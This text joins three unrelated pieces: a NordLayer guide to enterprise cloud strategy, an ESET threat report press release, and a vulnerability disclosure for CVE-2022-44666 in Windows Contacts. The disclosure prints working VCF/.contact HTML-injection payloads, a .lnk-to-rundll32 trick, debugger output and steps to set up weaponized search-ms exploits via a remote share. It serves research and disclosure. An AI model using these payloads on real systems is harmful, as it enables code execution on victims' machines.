Skip to content

Building a winning enterprise cloud strategy: a comprehensive guide

Summary: Cloud computing delivers huge benefits for modern organizations. However, companies need to think strategically to realize the key benefits of the cloud. An effective enterprise cloud strategy provides a route from planning to deployment. With a strategy in place, companies can move assets and applications smoothly. And they can secure data in the cloud without leaving security gaps. In this article, you will find all the essential information required for crafting a successful plan to embrace cloud technology.

Key takeaways

  • Cloud services can be categorized into three types: IaaS, PaaS, and SaaS, each catering to different user needs and skill requirements

  • Cloud adoption should align with core business needs, considering factors such as workload suitability, team readiness, and the need for customization

  • Compliance with regulations like PCI-DSS or HIPAA is crucial when planning a cloud strategy to avoid potential violations

  • A well-designed enterprise cloud strategy ensures functional and secure cloud deployment.

  • Careful planning and monitoring are essential to counter risks and prevent critical problems during cloud migration.

This article will provide everything you need to know to create an effective cloud adoption plan. Let’s start at the beginning with a definition of what we mean by “enterprise cloud strategy” and why strategic thinking is so important.

Core concepts of enterprise cloud strategy

Definition of enterprise cloud

An enterprise cloud is a virtualized environment that contains flexible and scalable computing infrastructure. Cloud infrastructure provides on-demand access to shared resources. This includes the servers, apps, and data required to host workloads and virtualize key enterprise operations.

A well-designed enterprise cloud has many benefits.

  • Virtualized infrastructure reduces the need for on-premises network infrastructure. This reduces the burden on IT teams to maintain physical hardware and lowers overall operating costs.

  • Enterprise clouds are easy to customize and reshape. As businesses change, their cloud environment can follow.

Enterprise cloud architecture also has cybersecurity benefits.

  • Companies can protect sensitive data with robust security measures located inside the cloud. Organizations can encrypt data, apply access controls, and leverage cloud-native threat detection tools.

  • Centralized administrative tools provide full visibility of user activity and data integrity. And cloud-based logging systems assist with both auditing and incident responses.

Different types of cloud services

The nature of your enterprise cloud strategy depends on the type of cloud services you use. Cloud technologies can be divided into three overall categories:

IaaS

Infrastructure-as-a-Service provides access to cloud infrastructure. This is usually provisioned on a pay-as-you-go model. IaaS users purchase access to servers, storage containers, and cloud networking capacity. They can use this infrastructure to create custom-built cloud solutions. IT teams can retain control over every aspect of their cloud deployment. IaaS is flexible, but users will need cloud architect skills. Additional training may be needed to realize the benefits of this cloud solution.

PaaS

Platform-as-a-Service provides access to off-the-shelf cloud development platforms. Development platforms include basic cloud infrastructure and the tools needed to build cloud apps. This reduces the time required to launch new cloud services. Cloud tenants can focus on building streamlined solutions. They do not need to manage the underlying infrastructure. Microsoft Azure and Google Cloud are examples of this kind of cloud product.

SaaS

Software-as-a-Service provides access to individual cloud apps or services. Apps are provided in ready-to-use format and are generally accessible via web browsers. SaaS tools include eCommerce platforms, collaboration apps, and CRM systems. These services require no on-site installation. And they scale automatically as businesses grow.

Understanding cloud strategy in an enterprise context

The adoption of cloud services should align with core business needs.

Companies must assess workloads and decide which cloud system suits their operations. They must ask whether teams can operate in the cloud and whether existing SaaS solutions suit their needs. If not, custom PaaS solutions may be necessary.

Capacity also influences cloud strategy. Businesses should only commission cloud services that they can afford to build, maintain, and secure. Securing IaaS and PaaS environments is complex and resource-intensive. Some enterprises may find that lightweight SaaS alternatives are preferable.

Compliance is another critical consideration. A successful cloud migration delivers efficiency gains and enhances flexibility. But cloud adoption can lead to violations of regulations such as PCI-DSS or HIPAA. Organizations must plan their strategy with compliance goals in mind.

Why do you need a cloud strategy?

The importance of an enterprise cloud strategy

An enterprise cloud strategy maps a clear route to a functional and secure cloud deployment. And a well-designed strategy offers many benefits.

  • The strategy assesses existing systems, understanding what to retain and what to discard.

  • Planners determine what applications and data will migrate to the cloud.

  • They decide which cloud technologies to use, and include any necessary security measures.

  • Planning teams set timescales for the cloud strategy. This avoids delays and ensures that deployments are not rushed.

Enterprise cloud strategies deliver the benefits of cloud computing while avoiding problems associated with chaotic deployments.

Around 90% of companies use multi-cloud solutions that divide data and apps between various hosting providers. About a third of companies using the cloud do not encrypt their data. And figures from 2022 show that 27% of cloud-using enterprises experienced a data breach on the public cloud.

Chaotically organized cloud deployments compromise security. They make it harder to locate and protect sensitive data. And they reduce efficiency. Silos can limit the flow of information. App configurations may vary across the cloud environment. But an enterprise cloud strategy solves these problems.

Benefits of cloud adoption for businesses

The cloud has revolutionized digital business. Every month, companies gain a competitive advantage by migrating functions to the cloud. Cloud storage providers offer cheaper, faster, and more secure solutions. And development tools make it easier to build customized cloud environments.

Despite these benefits, many companies have not yet embraced the cloud or have staged partial migrations. Benefits of full cloud adoption for businesses include:

Operational efficiency

A cloud-first strategy eliminates the need to maintain extensive hardware infrastructure. Cloud deployments scale rapidly and easily. Companies can automate resource provisioning and deliver workloads wherever they are needed. Administrators can also manage network assets centrally. The result is streamlined operations and greater productivity.

Enhanced security

The cloud benefits cybersecurity in many ways. Enterprises can encrypt data hosted on cloud assets. They can implement granular access controls and regulate access according to job roles. Cloud platforms enable real-time activity monitoring and alerts, resulting in rapid incident responses. Moreover, trusted cloud providers focus on securing their products against malware and exploits. Not all enterprises have the capacity to do so.

Cost-effectiveness

Cloud adoption allows cost optimization by shifting computing into a virtualized environment. Enterprises do not need to make large up-front infrastructure investments. There is less need for on-site servers or routers. Scalable systems optimize resource use and allow companies to expand smoothly. And the payment models of PaaS or IaaS providers cater to different enterprise needs.

Exploring cloud strategy options: finding the perfect fit

Single public cloud strategy: unlocking provider offerings

A single public cloud strategy uses a single public cloud provider to host assets in the public cloud. This strategy has numerous benefits. Single public cloud systems are simpler than multi-cloud alternatives. This enables companies to focus on their core competencies.

Administrators can easily integrate application communities and standardize operations in the cloud. A single cloud is easy to monitor and secure and will carry a much lower compliance burden. Pay-as-you-go models also make single public cloud deployments the most cost-effective cloud solutions.

The single public cloud strategy suffers from loss of control and potential insecurity. Users must apply tight access controls to guard the network edge. They also have little control over the infrastructure that supports cloud assets.

Single private cloud strategy: balancing control and security

A single private cloud strategy involves the creation of a dedicated cloud environment to host corporate assets. The private cloud is separate from the public internet. Users can customize security controls and network protocols. This allows companies to prioritize data security and minimize the risk of external attacks.

Companies using a single private cloud strategy have complete ownership of their deployment. Consistent ownership can deliver performance improvements. And users can tailor their cloud environment to enable flexible scaling.

The downside of this strategy is complexity. Organizations must dedicate resources to create and maintain cloud environments. They also have complete responsibility for security and must rely on internal expertise.

Hybrid cloud strategy: integrating the best of both worlds

Hybrid cloud strategies feature a combination of public and private cloud infrastructure. When designed correctly, a hybrid cloud environment delivers the benefits of both strategies.

Hybrid deployments can leverage the flexibility and scalability of public clouds. Organizations can experiment with different cloud components and allocate resources to workloads as required. They can mobilize AI tools to analyze large data sets. And they can create failover systems in the public cloud. This supports incident response strategies.

At the same time, security teams can use private cloud environments to protect critical data. Administrators can create strict access controls for secure private clouds. These controls grant access based on employee roles. They can also combine with multi-factor authentication for added security.

Multiple-public cloud strategy: orchestrating a dynamic cloud ecosystem

Multi-cloud strategies involve the use of multiple public cloud providers. For instance, companies may use Google Cloud Platform for collaboration and AWS for cloud storage. This model has various potential benefits.

Multiple cloud service models balance agility and cost. Companies can use leading cloud providers for specialist tasks. They can also compare different providers to find the most cost-effective solution.

Multi-cloud solutions suit globally-distributed workforces. Companies can locate cloud resources close to users by leveraging cloud computing services around the world. They also make cloud deployments more resilient. Multiple clouds avoid single points of failure. Organizations can shift workloads between CSPs when outages occur.

Building an effective enterprise cloud strategy

1. Create a cloud strategy team

Your cloud strategy team will see the project through to completion and must include input from outside the IT department. Bring in key stakeholders from finance, operations, HR, marketing, and security. Every department will use the cloud environment. Buy-in from managers is essential when changing IT infrastructure.

Establish communication channels and collaboration tools. And set out a timescale to meet project goals. Every team member should have clear responsibilities and know exactly what role they will play as cloud adoption takes place.

  • Form a cloud strategy team with representatives from various departments

  • Establish effective communication channels and collaboration tools to facilitate coordination

  • Define specific milestones to track progress and meet project goals

  • Assign clear responsibilities to each team member

  • Provide necessary training and support to team members

2. Carry out application analysis

Application analysis assesses the apps that employees currently use to carry out core workloads. Assess whether applications are compatible with cloud platforms, and any dependencies they have. Some apps may be suitable for cloud migration. Others may require complete replacement. Identify necessary actions and add them to the cloud strategy document.

Security is a key concern here. If apps handle sensitive data, assess whether this data will be adequately secured in the cloud. If not, define additional security controls to ensure data security after cloud adoption.

  • Determine compatibility of applications with cloud platforms and identify any dependencies

  • Classify apps as suitable for cloud migration or requiring complete replacement

  • Document necessary actions in the cloud strategy document based on the analysis

  • Assess if sensitive data handled by the apps will be securely stored in the cloud

  • Define additional security controls if needed to ensure data security post-cloud adoption

3. Build a hybrid cloud strategy roadmap

Use the results of application analysis to create a cloud adoption roadmap. Describe how every workload will be moved to the cloud. Include a clear explanation of how access controls will apply and any other security controls linked to the workload.

At the cloud migration planning stage, decide which assets will remain in the public cloud, and which assets to store in private cloud environments. Categorize assets according to data sensitivity and risk. High-risk, high-value data should always be stored in the private cloud.

The cloud roadmap should explain how to migrate data and apps to the cloud. This may include information about data integration and transfer methods. For instance, data may require encryption during the transfer process.

  • Develop a detailed plan for migrating every workload to the cloud

  • Clearly define access controls and security measures associated with each workload

  • Evaluate assets and categorize them based on data sensitivity and risk levels

  • Determine which assets will be kept in the public cloud and which ones will be stored in private cloud

  • Document information on data integration and transfer methods

4. Upskill your workforce for cloud computing

Comprehensive staff training should be a key part of cloud adoption strategies. This should include basic security training. Introduce and explain cloud security policies. Ensure workers know how to access cloud assets securely and reinforce the penalties for policy breaches.

Training goes beyond security. Enterprises should upskill their workforce to capitalize on cloud technology. Invest in specialized courses in cloud architect skills. This could include DevOps courses or training related to specific cloud platforms. For example, it may be advisable to invest in AWS certification courses.

  • Prioritize basic security training for all employees involved in cloud operations

  • Introduce and explain cloud security policies clearly to the workforce

  • Reinforce the consequences and penalties associated with policy breaches

  • Invest in specialized courses for cloud architect skills to enhance proficiency

  • Consider offering DevOps courses or training specific to the chosen cloud platforms

5. Implement the enterprise cloud strategy

Strategies are useless if they are only paper exercises. Implementation is all-important. Assign a skilled employee to implement the organizational cloud strategy. This officer should be responsible for meeting project milestones. They should also manage communication with relevant stakeholders.

During implementation, enterprises should make their cloud deployment secure and resilient. Put in place monitoring technology to track user activity. Make sure auditing and scanning policies meet regulatory guidelines. And constantly test cloud assets to protect data against external intrusion.

  • Assign a skilled employee as the officer responsible for implementing the organizational cloud strategy

  • Oversee that cloud deployment is secure and resilient

  • Implement monitoring technology to track user activity

  • Regularly audit and scan cloud assets to ensure compliance with regulatory guidelines

  • Continuously test cloud assets to protect data against external intrusion

Overcoming challenges in enterprise cloud strategy

Tackling cloud migration challenges

Cloud migrations can encounter many obstacles. For instance:

  • Companies may lack the bandwidth to transfer files.

  • Applications may be incompatible with cloud platforms.

  • Dependency mapping can fail, compromising operational efficiency.

  • Risk management issues can arise, putting data at risk.

  • Cloud migration requires a deep understanding of cloud technologies, architecture, and best practices, so a shortage of specialists can be considered a challenge.

Carefully plan a strategy that counters these risks. Monitor the process to detect problems before they become critical.

Managing cloud security risks

Securing data in the cloud is a critical challenge. Organizations must:

  • Guard systems against unauthorized access

  • Encrypt sensitive data without compromising availability

  • Maintain visibility of user activity

  • Managing hybrid private and public clouds

  • Manage app profiles and prevent unauthorized app installations

Security planning ensures that organizations put in place effective controls. Ongoing monitoring and regular security audits will detect threats. Security teams will be well-placed to make necessary changes.

Addressing compliance and legal issues

Cloud investments must comply with data security regulations. Enterprise architects must research the regulatory landscape and understand their obligations. Compliance should feed into the cloud strategy at all times. For instance, security controls should be tailored to fit PCI-DSS rules.

Companies also need to understand the shared responsibility model. Your IT department should assess each service provider. Create clear policies for mission-critical applications that define how to use them securely. And seek external help if you require extra assurance.

How can NordLayer help?

Security is one of the key elements of any digital transformation. And it is particularly important when adopting cloud technology. Cloud strategies must include access controls, encryption, firewall systems, and security auditing. But building cloud security systems is not always easy.

NordLayer can help you secure your cloud deployment strategy. Our Virtual Private Gateways enable secure access to cloud apps. IP allowlisting and Site-to-Site tunnels ensure that only authorized personnel can access your cloud environments  and police the network edge. Users can also mobilize 2FA and SSO to ensure secure authentication. Combining our solutions makes movement to the cloud safer and easier to manage.

Robust cloud security lets you meet your business goals. Contact the NordLayer team to learn more.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

ESET Threat Report: The remarkable adaptability of cybercriminals, the comeback of sextortion scams, and a rise in deceptive loan apps

  • The H1 2023 ESET Threat Report highlights the remarkable adaptability of cybercriminals: through exploiting vulnerabilities, gaining unauthorized access, compromising sensitive information, or defrauding individuals.
  • Attackers developed new methods to attempt to bypass Microsoft security measures, including using weaponized OneNote files instead of Office macros. ESET researchers observed the comeback of so-called sextortion scam emails and an alarming growth of deceptive Android loan apps.
  • ESET telemetry data also suggests that operators of the Emotet botnet have struggled to adapt, possibly indicating that a different group acquired the botnet.
  • Leaked source code of ransomware families such as Babyk, LockBit, and Conti has been increasingly used in the development of new ransomware variants in H1 2023.
  • The H1 2023 Threat Report covers December 2022 through May 2023, transitioning from a triannual to a semiannual release schedule.

BRATISLAVA — July 11, 2023 — ESET has released its latest Threat Report, which summarizes threat landscape trends seen in ESET telemetry from December 2022 through May 2023. In H1 2023, we observed developments highlighting cybercriminals’ remarkable adaptability and pursuit of new avenues of attack: exploiting vulnerabilities, gaining unauthorized access, compromising sensitive information, and defrauding individuals. One of the reasons for shifts in attack patterns is stricter security policies introduced by Microsoft, particularly on opening macro-enabled files. ESET telemetry data also suggests that operators of the once-notorious Emotet botnet have struggled to adapt to the shrinking attack surface, possibly indicating that a different group acquired the botnet. In the ransomware arena, actors increasingly reused previously leaked source code to build new ransomware variants. During the first half of 2023, sextortion email scams made a comeback, and ESET observed an alarming growth in the number of deceptive Android loan apps.

According to the report, in a new attempt to bypass Microsoft security measures, attackers substituted Office macros with weaponized OneNote files in H1 2023, leveraging the capability to embed scripts and files directly into OneNote. In response, Microsoft adjusted the default setup, prompting cybercriminals to continue exploring alternative intrusion vectors, with intensifying brute-force attacks against Microsoft SQL servers potentially representing one of the tested replacement approaches.

“Regarding the leaked source code of ransomware families such as Babyk, LockBit, and Conti, these allow amateurs to engage in ransomware activities, but at the same time enable us as defenders to cover a broader range of variants with a more generic or well-known set of detections and rules,” says ESET Chief Research Officer Roman Kováč.

While cryptocurrency threats have been steadily declining in ESET telemetry – not even being resurrected by the recent increase in bitcoin’s value – cryptocurrency-related cybercriminal activities continue to persist, with cryptomining and cryptostealing capabilities being increasingly incorporated into more versatile malware strains. This evolution follows a pattern observed in the past, such as when keylogger malware was initially identified as a separate threat, but eventually became a common capability of many malware families.

Looking at other threats focused on financial gain, ESET researchers observed the comeback of so-called sextortion scam emails, exploiting people’s fears related to their online activities, and an alarming growth in deceptive Android loan apps masquerading as legitimate personal loan services and taking advantage of vulnerable individuals with urgent financial needs.

For more information, check out the ESET Threat Report H1 2023 on WeLiveSecurity. Make sure to follow ESET Research on Twitter for the latest news from ESET Research.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About ESET
For 30 years, ESET® has been developing industry-leading IT security software and services for businesses and consumers worldwide. With solutions ranging from endpoint security to encryption and two-factor authentication, ESET’s high-performing, easy-to-use products give individuals and businesses the peace of mind to enjoy the full potential of their technology. ESET unobtrusively protects and monitors 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company. Backed by R&D facilities worldwide, ESET became the first IT security company to earn 100 Virus Bulletin VB100 awards, identifying every single “in-the-wild” malware without interruption since 2003.

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day)

This is the story about another forgotten 0day fully disclosed more than 4 years ago by John Page (aka hyp3rlinx). To understand the report, you have to consider i’m stupid 🙂 And my stupidicity drives me to take longer paths to solve simple issues, but it also leads me to figure out another ways to exploit some bugs. Why do i say this? Because i was unable to quickly understand that the way to create a .contact file is just browsing to Contact folder in order to create the contact, instead of that, i used this info to first create a VCF file and then, i wrongly thought that this was some type of variant. That was also because of my brain can’t understand some 0days are forgotten for so long time ¯\(ツ)/¯ Once done that and after the “wontfix” replies by MSRC and ZDI, further investigations were made to increase the severity, finally reaching out .contact files and windows url protocol handler “ldap”.

Details

  • Vendor: Microsoft.

  • App: Microsoft Windows Contacts.

  • Version: 10.0.19044.1826.

  • Tested systems: Windows 10 & Windows 11.

  • Tested system versions: Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]

Intro

While i was reading the exploit code for this vulnerability which was actually released as 0day and it’s possible to find ZDI’s report.

Update 2022/07/21: After reporting this case to MS, MSRC’s folks rightly pointed me out Windows Contacts isn’t the default program to open VCF files.

Further research still demonstrates the default program for VCF files on Win7 ESU & WinServer2019 is Windows Contacts (wab.exe), otherwise MS People (PeopleApp.exe) is used. Here is a full table of this testing:

  • Windows 7: Default program for VCF files is Windows Contacts (wab.exe).

  • Windows Server 2019: Default program for VCF files is Windows Contacts (wab.exe).

  • Windows 10: Default program for VCF files is MS People (PeopleApp.exe).

  • Windows 10 + MS Office: Default program for VCF files is MS Outlook (outlook.exe).

  • Windows 11: Default program for VCF files is MS People (PeopleApp.exe).

Anyway they still argue there’s some social engineering involved such as opening a crafted VCF file and clicking on some links to exploit the bug so doesn’t meet the MSRC bug bar for a security update.

Update 2022/07/25: Well, after further research, it’s the same bug. I’ve been finally able to find a .contact proof of concept. It’s actually possible to correctly parse a .contact file using HTML entities. Note this solves the previous issue (Update 2022/07/21) and this file format (.contact) is opened by Windows Contacts, default program for this file extension, even when MS Office is installed in the system. It just needs a first file association if hasn’t yet been done, but the only program installed by default to do that is Windows Contacts.

Update 2022/07/25: This further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. I was finally able to get it working thanks to ldap uri scheme, which is associated by default to Windows Contacts application, so just setting a rogue LDAP server up and serving the payload data under mail, url or wwwhomepage attributes, the exploiting impact is increased because now it’s not needed to double click a malicious VCF/Contact file, we can deliver this using url protocols.

Update 2023/02/08: As a gesture of goodwill by MSRC, John Page (aka hyp3rlinx) has been included in the acknowledgement page for CVE-2022-44666 discovery.

Description

The report basically is the same than above links, however i’ve improved a bit the social engineering involved. In fact, the first thing that i made was to improve the way the links are seen, just like it were a XSS vulnerability, it’s actually an HTML injection so it’s possible to close the first anchor element and insert a new one. Then, i wanted to remove the visibility for those HTML elements so just setting as long “innerHTML” as possible would be enough to hide them (because of there are char limits).

This is the final payload used:

URL;WORK:"></a><a href="notepad">CLICKMEEEEE...</a>

To watch what happens, run procmon and setup a fake target of href attribute like this:

URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>

Once clicked the link, an output like this is observed in procmon:

This is the stacktrace for the first “CreateFile” operation:

0	FLTMGR.SYS	FltpPerformPreCallbacksWorker + 0x36c	0xfffff806675a666c	C:\WINDOWS\System32\drivers\FLTMGR.SYS
1	FLTMGR.SYS	FltpPassThroughInternal + 0xca	0xfffff806675a611a	C:\WINDOWS\System32\drivers\FLTMGR.SYS
2	FLTMGR.SYS	FltpCreate + 0x310	0xfffff806675dc0c0	C:\WINDOWS\System32\drivers\FLTMGR.SYS
3	ntoskrnl.exe	IofCallDriver + 0x55	0xfffff8066904e565	C:\WINDOWS\system32\ntoskrnl.exe
4	ntoskrnl.exe	IoCallDriverWithTracing + 0x34	0xfffff8066909c224	C:\WINDOWS\system32\ntoskrnl.exe
5	ntoskrnl.exe	IopParseDevice + 0x117d	0xfffff806694256bd	C:\WINDOWS\system32\ntoskrnl.exe
6	ntoskrnl.exe	ObpLookupObjectName + 0x3fe	0xfffff8066941329e	C:\WINDOWS\system32\ntoskrnl.exe
7	ntoskrnl.exe	ObOpenObjectByNameEx + 0x1fa	0xfffff806694355fa	C:\WINDOWS\system32\ntoskrnl.exe
8	ntoskrnl.exe	NtQueryAttributesFile + 0x1c5	0xfffff80669501125	C:\WINDOWS\system32\ntoskrnl.exe
9	ntoskrnl.exe	KiSystemServiceCopyEnd + 0x25	0xfffff806692097b5	C:\WINDOWS\system32\ntoskrnl.exe
10	ntdll.dll	NtQueryAttributesFile + 0x14	0x7ff8f0aed4e4	C:\Windows\System32\ntdll.dll
11	KernelBase.dll	GetFileAttributesW + 0x85	0x7ff8ee19c045	C:\Windows\System32\KernelBase.dll
12	shlwapi.dll	PathFileExistsAndAttributesW + 0x5a	0x7ff8ef20212a	C:\Windows\System32\shlwapi.dll
13	shlwapi.dll	PathFileExistsDefExtAndAttributesW + 0xa1	0x7ff8ef2022b1	C:\Windows\System32\shlwapi.dll
14	shlwapi.dll	PathFileExistsDefExtW + 0x3f	0x7ff8ef2021ef	C:\Windows\System32\shlwapi.dll
15	shlwapi.dll	PathFindOnPathExW + 0x2f7	0x7ff8ef201f77	C:\Windows\System32\shlwapi.dll
16	shell32.dll	PathResolve + 0x154	0x7ff8eebb0954	C:\Windows\System32\shell32.dll
17	shell32.dll	CShellExecute::QualifyFileIfNeeded + 0x105	0x7ff8eebb05c9	C:\Windows\System32\shell32.dll
18	shell32.dll	CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e	0x7ff8eeb1e422	C:\Windows\System32\shell32.dll
19	shell32.dll	CShellExecute::_DoExecute + 0x6d	0x7ff8eeb1e1cd	C:\Windows\System32\shell32.dll
20	shell32.dll	<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d	0x7ff8eeb09fed	C:\Windows\System32\shell32.dll
21	SHCore.dll	_WrapperThreadProc + 0xe9	0x7ff8f098bf69	C:\Windows\System32\SHCore.dll
22	kernel32.dll	BaseThreadInitThunk + 0x14	0x7ff8f07e7034	C:\Windows\System32\kernel32.dll
23	ntdll.dll	RtlUserThreadStart + 0x21	0x7ff8f0aa2651	C:\Windows\System32\ntdll.dll

Setting a breakpoint in Shell32!ShellExecuteExW, we can have a clearer picture of the functions involved:

CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000   wab.exe 
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

And the involved pseudo-code is the next:

_int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4)
{

...

      default:
        if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
          SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
        break;
    }
  }
  return 1i64;
}


__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3)
{
  const unsigned __int16 *v3; // rbx
  HWND v4; // rdi
  unsigned int v5; // ebx
  BOOL v6; // ebx
  __int64 v7; // rdx
  OLECHAR *v8; // rax
  signed int v10; // eax
  DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h]
  SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h]
  OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]

  v3 = a3;
  v4 = a1;
  memset_0(Dst, 0, 0x1048ui64);
  pcchCanonicalized = 2084;
  v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0);
  if ( (v5 & 0x80000000) == 0 )
  {
    v6 = UrlIsW(Dst, URLIS_FILEURL);
  pExecInfo.hProcess = 0i64;
      pExecInfo.hwnd = 0i64;
      pExecInfo.lpVerb = 0i64;
      _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64);
      *(_OWORD *)&pExecInfo.hInstApp = 0i64;
      *(_OWORD *)&pExecInfo.lpClass = 0i64;
      *(_OWORD *)&pExecInfo.dwHotKey = 0i64;
      if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE
      {
        v10 = GetLastError();
        v5 = (unsigned __int16)v10 | 0x80070000;
        if ( v10 <= 0 )
          v5 = v10;
      }
  }
  ...
}

After this, it’s clear the issue actually involves SysLink controls in comctl32.dll library and how the href attribute is parsed by wab32.dll library.

It isn’t possible to use remote shared locations or webdavs to exploit this.

URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>

The file info is queried but is never executed.

It’s possible to use relative paths such as:

URL;WORK:"></a><a href="foo\foo.exe">CLICKMEEEEE...</a>

Example:

URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>

Just going further and while testing rundll32 as attack vector, just noticed it was not possible to use arguments with the payload executable selected. However using a lnk file which targets a chosen executable, it was possible to use cmdline arguments. It’s a bit tricky but it works.

URL;WORK:"></a><a href="hidden\run.lnk">CLICKMEEEEE...</a>

Target of run.lnk:

rundll32.exe hidden\payload.bin,Foo"

This looks more interesting because it’s not needed to drop an executable in the target system.

Impact

Remote Code Execution as the current user logged.

Proofs of Concept

It has to exist file association to use Windows Contacts to open .vcf files.

Update 2021/07/25: For Contact files (.contact) there is only one application to open them by default: Windows Contacts, even when MS Office is installed in the target system.

Using files located in ./report-pocs/:

  1. Double-click the file exploit.vcf (Update 2021/07/25: Or double-click the file exploit.contact).

  2. Do single click in one of “click-me” links.

  3. It launches notepad.exe using different ways to execution:

    • 3.1. Link 1: Run .lnk file that triggers rundll32 with a crafted library.

    • 3.2. Link 2: This triggers the execution of an executable located in folder “hidden” as a local path.

    • 3.3. Link 3: Directly.

There are a couple of videos attached in ./videos:

  • ./videos/full-payload.gif: This is a more complex example which downloads a zip file that allows to trigger all the payloads.

This is a summary of the proof of concept files located in ./report-pocs/:

And files located in ./src:

Further exploitation

For further exploitation and as the vulnerability doesn’t allow to load remote shared location files, uri protocol “search-ms” is an interesting vector. You’ll find proofs of concept which only trigger a local binary like calc or notepad and more complex proofs of concept that i’ve named as weaponized exploit, because of they don’t execute local files. These pocs & exploits are located in ./further-pocs/.

This is a summary of target applications:

In order to reproduce:

  1. Setup a remote shared location (SMB or WebDav). Copy content of ./further-pocs/to-copy-in-remote-shared-location/ into it.

  2. If wanted, hide the files running ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.

  3. Modify file exploit.html/poc.html located in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ to point to your remote shared location.

